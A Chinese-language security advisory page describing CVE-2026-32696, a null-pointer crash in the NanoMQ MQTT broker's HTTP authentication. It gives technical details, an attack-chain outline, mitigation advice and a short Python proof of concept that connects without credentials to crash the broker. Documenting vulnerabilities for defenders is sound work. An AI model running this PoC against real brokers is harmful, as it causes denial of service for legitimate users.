IPBUF安全漏洞报告
English
CVE-2026-32696 CVSS 3.1 低危

CVE-2026-32696 NanoMQ空指针拒绝服务漏洞

披露日期: 2026-03-30

漏洞信息

漏洞编号
CVE-2026-32696
漏洞类型
拒绝服务
CVSS评分
3.1 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
NanoMQ

相关标签

NanoMQMQTT拒绝服务DoS空指针引用CVE-2026-32696

漏洞概述

NanoMQ MQTT Broker 0.24.6版本存在安全漏洞。当启用HTTP认证(auth.http_auth)并配置了用户名或密码占位符(如%u或%P)时,如果客户端在连接时未提供用户名或密码,服务器在构造HTTP请求阶段会调用strlen()处理空指针,导致SIGSEGV崩溃,从而造成拒绝服务。

技术细节

该漏洞位于NanoMQ的HTTP认证模块中。当配置项`auth.http_auth`被启用,且HTTP请求参数中使用了`%u`(用户名)或`%P`(密码)占位符时,程序会调用`auth_http.c`文件中的`set_data()`函数来准备认证数据。在特定条件下,攻击者发送一个不包含用户名和密码的MQTT CONNECT数据包。此时,代表用户名或密码的指针为NULL。程序随后直接将此NULL指针传递给`strlen()`函数。由于`strlen()`要求传入有效的字符串指针,解引用NULL指针导致段错误(SIGSEGV),进而导致NanoMQ服务进程崩溃。虽然CVSS评分较低(需要用户交互UI:R,且网络攻击复杂度AC:H),但该漏洞可被远程利用导致服务中断。

攻击链分析

STEP 1
侦察
攻击者识别出互联网上暴露的NanoMQ服务,并确认其版本在0.24.7以下。
STEP 2
漏洞利用
攻击者向目标NanoMQ Broker发送特制的MQTT CONNECT数据包,该数据包中不包含Username和Password字段。
STEP 3
触发崩溃
NanoMQ服务端在处理该连接请求时,因配置了HTTP认证占位符,尝试对空指针执行strlen()操作,触发SIGSEGV异常。
STEP 4
拒绝服务
NanoMQ进程崩溃,合法用户无法连接到MQTT Broker,服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import paho.mqtt.client as mqtt import sys # Target configuration TARGET_IP = "127.0.0.1" # Replace with the target NanoMQ IP TARGET_PORT = 1883 # Replace with the target port def on_connect(client, userdata, flags, rc): print(f"Connected with result code {rc}") def main(): # Create an MQTT client instance # Note: Connecting without providing username and password client = mqtt.Client(client_id="PoC_CVE_2026_32696") client.on_connect = on_connect try: print(f"[+] Attempting to connect to {TARGET_IP}:{TARGET_PORT} without credentials...") # This connect call lacks username and password, triggering the NULL pointer client.connect(TARGET_IP, TARGET_PORT, 60) client.loop_forever() except Exception as e: print(f"[-] Exception occurred: {e}") if __name__ == "__main__": main()

影响范围

NanoMQ 0.24.6

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用HTTP认证功能(auth.http_auth),或者修改配置确保在未提供凭据时不会触发占位符替换逻辑,以防止服务崩溃。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表